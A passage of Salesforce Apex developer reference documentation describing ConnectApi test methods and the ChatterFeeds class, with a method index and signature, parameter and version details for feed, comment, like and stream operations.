Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount,
pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.
API Version
29.0–31.0
Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize, FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
favoriteId
Type: String
The ID of a favorite.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam
Type: String
845
ChatterFavorites ClassReference
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
Testing ConnectApi Code
ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and vote
on polls.
Namespace
ConnectApi
Usage
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex. For detailed information, see Feeds
and Feed Elements.
846
ChatterFeeds ClassReference
Important: Feed item methods aren’t available in version 32.0. In version 32.0 and later, use feed element methods.
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
ChatterFeeds Methods
The following are methods for ChatterFeeds. All methods are static.
IN THIS SECTION:
createStream(communityId, streamInput)
Create a Chatter feed stream.
deleteComment(communityId, commentId)
Deletes the specified comment. You can find a comment ID in any feed, such as a news feed or a record feed.
deleteFeedElement(communityId, feedElementId)
Deletes the specified feed element.
deleteFeedItem(communityId, feedItemId)
Deletes the specified feed item.
deleteLike(communityId, likeId)
Deletes the specified like. This can be a like on a comment or a feed item.
deleteStream(communityId, streamId)
Delete a Chatter feed stream.
getComment(communityId, commentId)
Returns the specified comment.
getCommentsForFeedElement(communityId, feedElementId)
Get the comments for a specified feed element.
getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of comments for the specified feed element.
getCommentsForFeedItem(communityId, feedItemId)
Returns the first page of comments for the feed item. The page contains the default number of items.
getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)
Returns the specified page of comments for the specified feed item.
getFeed(communityId, feedType)
Returns information about the feed for the specified feed type.
getFeed(communityId, feedType, sortParam)
Returns the feed for the specified feed type in the specified order.
847
ChatterFeeds ClassReference
getFeed(communityId, feedType, subjectId)
Returns the feed for the specified feed type for the specified user.
getFeed(communityId, feedType, subjectId, sortParam)
Returns the feed for the specified feed type for the specified user, in the specified order.
getFeedDirectory(String)
Returns a list of all feeds available to the context user.
getFeedElement(communityId, feedElementId)
Returns information about the specified feed element.
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle)
Returns information about the specified feed element with the specified number of elements per bundle including no more than
the specified number of comments per feed element.
getFeedElementBatch(communityId, feedElementIds)
Get information about the specified list of feed elements. Returns errors embedded in the results for feed elements that couldn’t be
loaded.
getFeedElementPoll(communityId, feedElementId)
Returns the poll associated with the feed element.
getFeedElementsFromBundle(communityId, feedElementId)
Returns the first page of feed-elements from a bundle.
getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize, elementsPerBundle, recentCommentCount)
Returns the feed elements on the specified page for the bundle. Each feed element includes no more than the specified number of
comments. Specify the maximum number of feed elements in a bundle.
getFeedElementsFromFeed(communityId, feedType)
Returns the first page of feed elements from the Company, DirectMessages, Home, Moderation, and PendingReview
feed types. The page contains the default number of items.
getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, DirectMessages, Home, Moderation, and
PendingReview feed types, in the specified order.
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed elements for the specified page for the Company, DirectMessages, Home, Moderation, and
PendingReview feed types, in the specified order. Each feed element contains no more than the specified number of comments.
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Returns the feed elements for the specified page for the Home feed type, with the specified filter in the specified order. Each feed
element contains no more than the specified number of comments.
getFeedElementsFromFeed(communityId, feedType, subjectId)
Returns the first page of feed elements for any feed type other than Company, DirectMessages, Filter, Home,
Moderation, and PendingReview, for the specified user or record. The page contains the default number of elements.
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Returns the feed elements on the specified page for any feed type other than Company, DirectMessages, Filter, Home,
Moderation, and PendingReview, in the specified order.
848
ChatterFeeds ClassReference
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed elements on the specified page for any feed type other than Company, DirectMessages, Filter, Home,
Moderation, and PendingReview, in the specified order. Each feed element includes no more than the specified number
of comments.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed
element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal
(non-community) users only.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
filter)
Returns the specified page of feed elements for the UserProfile feed. Use this method to filter the UserProfile feed to
include only feed elements that are scoped to communities. Feed elements that are always visible in all communities are filtered
out. Currently, feed elements scoped to communities have a User or a Group parent record. However, other parent record types
could be scoped to communities in the future.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed
element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal
(non-community) users only. Specify the maximum number of feed elements in a bundle.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly, filter)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed
element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal
(non-community) users only. Specify the maximum number of feed elements in a bundle and the feed filter.
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of feed elements for the specified user and the specified key prefix.
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order.
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order. Each feed
element contains no more than the specified number of comments.
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump,
density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the specified user and the specified key prefix. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter.
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the Company, Home, and Moderation feed types. Includes only feed elements
that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than
the specified number of comments.
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
Returns the specified page of feed elements for the Home feed type with the specified feed filter. Includes only feed elements that
have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the
specified number of comments.
849
ChatterFeeds ClassReference
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Returns the specified page of feed elements for the Files, Groups, News, People, and Record feed types. Includes only
feed elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains
no more than the specified number of comments.
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community)
users only.
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, updatedSince, filter)
Returns the specified page of feed elements for the UserProfile feed. Includes only feed elements that have been updated
since the time specified in the updatedSince parameter. Use this method to filter the UserProfile feed to include only
feed elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently,
feed elements scoped to communities have a User or a Group parent record. However, other parent record types could be scoped
to communities in the future.
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, updatedSince, showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community)
users only. Specify the maximum number of feed elements in a bundle.
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, updatedSince, showInternalOnly, filter)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community)
users only. Specify the maximum number of feed elements in a bundle and the feed filter.
getFeedItem(communityId, feedItemId)
Returns a rich description of the specified feed item.
getFeedItemBatch(communityId, feedItemIds)
Returns information about the specified list of feed items. Returns a list of BatchResult objects containing
ConnectApi.FeedItem objects. Errors for feed items that can't be loaded are returned in the results.
getFeedItemsFromFeed(communityId, feedType)
Returns the first page of feed items for the Company, Home, and Moderation feed types. The page contains the default number
of items.
getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order. Each
feed item contains no more than the specified number of comments.
getFeedItemsFromFeed(communityId, feedType, subjectId)
Returns the first page of feed items for the specified feed type, for the specified user or record. The page contains the default number
of items.
850
ChatterFeeds ClassReference
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order.
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order. Each
feed item includes no more than the specified number of comments.
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Returns the feed items on the specified page for the specified user or record, for the Record feed type in the specified order. Each
feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
(non-community) users only.
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of feed items for the specified user and the specified key prefix. The page contains the default number of items.
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order.
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order. Each feed item
contains no more than the specified number of comments.
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Returns the specified page of feed items for the specified user and the specified key prefix. Includes only feed items that have been
updated since the time specified in the updatedSince parameter.
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Company, Home, and Moderation feed types. Includes only feed items that
have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified
number of comments.
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Files, Groups, News, People, and Record feed types. Includes only feed
items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than
the specified number of comments.
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Returns the specified page of feed items for the Record feed type. Includes only feed items that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed items posted by internal (non-community) users
only.
getFeedPoll(communityId, feedItemId)
Returns the poll associated with the feed item.
getFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of a feed for the specified user and the given key prefix.
getFilterFeed(communityId, subjectId, keyPrefix, sortParam)
Returns the first page of a feed in the specified order for the specified user and the given key prefix.
getFilterFeedDirectory(communityId, subjectId)
Gets a feed directory object that contains a list of filter feeds available to the context user. A filter feed is the news feed filtered to
include feed items whose parent is a specific entity type.
851
ChatterFeeds ClassReference
getLike(communityId, likeId)
Returns the specified like.
getLikesForComment(communityId, commentId)
Returns the first page of likes for the specified comment. The page contains the default number of items.
getLikesForComment(communityId, commentId, pageParam, pageSize)
Returns the specified page of likes for the specified comment.
getLikesForFeedElement(communityId, feedElementId)
Get the first page of likes for a feed element.
getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of likes for a feed element.
getLikesForFeedItem(communityId, feedItemId)
Returns the first page of likes for the specified feed item. The page contains the default number of items.
getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)
Returns the specified page of likes for the specified feed item.
getRelatedPosts(communityId, feedElementId, filter, maxResults)
Get posts related to the context feed element.
getStream(communityId, streamId)
Get information about a Chatter feed stream.
getStreams(communityId)
Get the Chatter feed streams for the context user.
getStreams(communityId, pageParam, pageSize)
Get a page of Chatter feed streams for the context user.
getSupportedEmojis()
Get supported emojis for the org.
isCommentEditableByMe(communityId, commentId)
Indicates whether the context user can edit a comment.
isFeedElementEditableByMe(communityId, feedElementId)
Indicates whether the context user can edit a feed element. Feed items are the only type of feed element that can be edited.
isModified(communityId, feedType, subjectId, since)
Returns information about whether a news feed has been updated or changed. Use this method to poll a news feed for updates.
likeComment(communityId, commentId)
Adds a like to the specified comment for the context user. If the user has already liked this comment, this is a non-operation and
returns the existing like.
likeFeedElement(communityId, feedElementId)
Like a feed element.
likeFeedItem(communityId, feedItemId)
Adds a like to the specified feed item for the context user. If the user has already liked this feed item, this is a non-operation and
returns the existing like.
postComment(communityId, feedItemId, text)
Adds the specified text as a comment to the feed item, for the context user.
852
ChatterFeeds ClassReference
postComment(communityId, feedItemId, comment, feedItemFileUpload)
Adds a comment to the feed item from the context user. Use this method to use rich text, including mentions, and to attach a file
to a comment.
postCommentToFeedElement(communityId, feedElementId, text)
Post a plain text comment to a feed element.
postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)
Post a comment to a feed element. Use this method to post rich text, including mentions, and to attach a file. A comment can contain
up to 10,000 characters.
postFeedElement(communityId, subjectId, feedElementType, text)
Posts a feed element with plain text from the context user.
postFeedElement(communityId, feedElement, feedElementFileUpload)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a
file to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element
and add a comment.
postFeedElement(communityId, feedElement)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach
already uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to
share a feed element and add a comment.
postFeedElementBatch(communityId, feedElements)
Posts a batch of up to 500 feed elements for the cost of one DML statement.
postFeedItem(communityId, feedType, subjectId, text)
Posts a feed item with plain text from the context user.
postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)
Posts a feed item to the specified feed from the context user. Use this method to post rich text, including mentions and hashtag
topics, and to attach a file to a feed item. You can also use this method to share a feed item and add a comment.
searchFeedElements(communityId, q)
Returns the first page of all the feed elements that match the specified search criteria.
searchFeedElements(communityId, q, sortParam)
Returns the first page of all the feed elements that match the specified search criteria in the specified order.
searchFeedElements(communityId, q, pageParam, pageSize)
Searches feed elements and returns a specified page and page size of search results.
searchFeedElements(communityId, q, pageParam, pageSize, sortParam)
Searches feed elements and returns a specified page and page size in a specified order.
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Searches feed elements and returns a specified page and page size in a specified order. Each feed element includes no more than
the specified number of comments.
searchFeedElementsInFeed(communityId, feedType, q)
Searches the feed elements for the Company, Home, Moderation, and PendingReview feed types.
searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Searches the feed elements for the Company, Home, Moderation, and PendingReview feed types and returns a specified
page and page size in a specified sort order.
853
ChatterFeeds ClassReference
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed elements for the Company, Home, Moderation, and PendingReview feed types and returns a specified
page and page size in a specified sort order. Each feed element includes no more than the specified number of comments.
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
Searches the feed elements for the Home feed type and returns a specified page and page size with the specified feed filter in a
specified sort order. Each feed element includes no more than the specified number of comments.
searchFeedElementsInFeed(communityId, feedType, subjectId, q)
Searches the feed items for a specified feed type.
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order.
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Searches the feed elements for a specified feed type and returns a specified page and page size in a specified sort order. Each feed
element includes no more than the specified number of comments.
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter)
Searches the feed elements of the UserProfile feed. Use this method to filter the UserProfile feed to include only feed
elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed
elements scoped to communities have a User or a Group parent record. However, other parent record types could be scoped to
communities in the future.
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only.
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, filter)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only. Specify feed filter.
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)
Searches the feed elements of a feed filtered by key prefix.
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each
feed element includes no more than the specified number of comments.
searchFeedItems(communityId, q)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.
searchFeedItems(communityId, q, sortParam)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.
854
ChatterFeeds ClassReference
searchFeedItems(communityId, q, pageParam, pageSize)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
searchFeedItems(communityId, q, pageParam, pageSize, sortParam)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
searchFeedItemsInFeed(communityId, feedType, q)
Searches the feed items for the Company, Home, and Moderation feed types.
searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order.
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order. Each feed item includes no more than the specified number of comments.
searchFeedItemsInFeed(communityId, feedType, subjectId, q)
Searches the feed items for a specified feed type.
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort
order.
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed items for a specified feed type and returns a specified page and page size in a specified sort order. Each feed item
includes no more than the specified number of comments.
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder, String, Boolean)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort
order. Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by
internal (non-community) users only.
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
Searches the feed items of a feed filtered by key prefix.
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
item includes no more than the specified number of comments.
setFeedCommentStatus(communityId, commentId, status)
Set the status of a comment.
setFeedEntityStatus(communityId, feedElementId, status)
Set the status of a feed post.
setIsMutedByMe(communityId, feedElementId, isMutedByMe)
Mute or unmute a feed element.
855
ChatterFeeds ClassReference
shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)
Share the originalFeedElementId as the context user.
shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)
Share the originalFeedItemId to the feed specified by the feedType.
updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)
Bookmarks the specified feed item or removes a bookmark from the specified feed item.
updateComment(communityId, commentId, comment)
Edits a comment.
updateFeedElement(communityId, feedElementId, feedElement)
Edits a feed element. Feed items are the only type of feed element that can be edited.
updateFeedElementBookmarks(communityId, feedElementId, bookmarks)
Bookmark or unbookmark a feed element by passing a ConnectApi.BookmarksCapabilityInput object.
updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)
Bookmark or unbookmark a feed element by passing a boolean value.
updateLikeForComment(communityId, commentId, isLikedByCurrentUser)
Like or unlike a comment.
updateLikeForFeedElement(communityId, feedElementId, isLikedByCurrentUser)
Like or unlike a feed element.
updateStream(communityId, streamId, streamInput)
Update a Chatter feed stream.
voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)
Vote on a poll or change your vote on a poll.
voteOnFeedPoll(communityId, feedItemId, myChoiceId)
Used to vote or to change your vote on an existing feed poll.
createStream(communityId, streamInput)
Create a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream createStream(String communityId,
ConnectApi.ChatterStreamInput streamInput)
856
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
streamInput
Type: ConnectApi.ChatterStreamInput
A ConnectApi.ChatterStreamInput body.
Return Value
Type: ConnectApi.ChatterStream
deleteComment(communityId, commentId)
Deletes the specified comment. You can find a comment ID in any feed, such as a news feed or a record feed.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteComment(String communityId, String commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
Return Value
Type: Void
deleteFeedElement(communityId, feedElementId)
Deletes the specified feed element.
API Version
31.0
857
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static deleteFeedElement(String communityId, String feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: Void
deleteFeedItem(communityId, feedItemId)
Deletes the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use deleteFeedElement(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static Void deleteFeedItem(String communityId, String feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
858
ChatterFeeds ClassReference
Return Value
Type: Void
deleteLike(communityId, likeId)
Deletes the specified like. This can be a like on a comment or a feed item.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteLike(String communityId, String likeId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
likeId
Type: String
The ID for a like.
Return Value
Type: Void
deleteStream(communityId, streamId)
Delete a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static Void deleteStream(String communityId, String streamId)
859
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
streamId
Type: String
ID of the Chatter feed stream.
Return Value
Type: Void
getComment(communityId, commentId)
Returns the specified comment.
API Version
28.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment getComment(String communityId, String commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
Return Value
Type: ConnectApi.Comment
getCommentsForFeedElement(communityId, feedElementId)
Get the comments for a specified feed element.
860
ChatterFeeds ClassReference
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId,
String feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.CommentPage
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.
getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of comments for the specified feed element.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
861
ChatterFeeds ClassReference
Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId,
String feedElementId, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
The number of comments per page. Valid values are between 1 and 100. If you pass null, the default size is 25.
Return Value
Type: ConnectApi.CommentPage Class
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.
getCommentsForFeedItem(communityId, feedItemId)
Returns the first page of comments for the feed item. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getCommentsForFeedElement(communityId, feedElementId).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedItem(String communityId, String
feedItemId)
862
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.CommentPage
getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)
Returns the specified page of comments for the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.CommentPage getCommentsForFeedItem(String communityId, String
feedItemId, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
863
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.CommentPage
getFeed(communityId, feedType)
Returns information about the feed for the specified feed type.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
Return Value
Type: ConnectApi.Feed
getFeed(communityId, feedType, sortParam)
Returns the feed for the specified feed type in the specified order.
API Version
28.0
864
ChatterFeeds ClassReference
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
